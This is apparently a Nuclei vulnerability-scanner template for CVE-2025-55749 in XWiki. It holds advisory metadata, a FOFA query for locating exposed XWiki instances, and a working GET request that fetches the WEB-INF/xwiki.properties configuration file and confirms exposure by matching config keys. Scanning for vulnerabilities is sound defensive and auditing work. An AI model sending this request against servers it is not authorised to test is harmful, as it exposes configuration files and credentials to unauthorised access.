id: CVE-2025-55749

info:
  name: XWiki - Information Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    XWiki 16.7.0 to 16.10.11, 17.4.4, and 17.7.0 using XJetty contains an information disclosure vulnerability caused by exposed context allowing static access to files in webapp/ folder, letting attackers access sensitive files, exploit requires use of XJetty package.
  impact: |
    Attackers can access sensitive files including credentials, leading to information disclosure.
  remediation: |
    Update to versions 16.10.11, 17.4.4, or 17.7.0 or later.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-53gx-j3p6-2rw9
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55749
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-55749
    epss-score: 0.01378
    epss-percentile: 0.68517
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,exposure,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/webapps/xwiki/WEB-INF/xwiki.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "diff.xml.dataURI"
          - "core.renderingcache.enabled"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a095ec885ac5b8f94e5d6388e77003d2ce30173f04820cbf2538b608cea82726022100cc15685d067cedcd9f6488ba0434ad1cb50943b08373f0a4e55fa6bf8277ae87:922c64590222798bb761d5b6d8e72950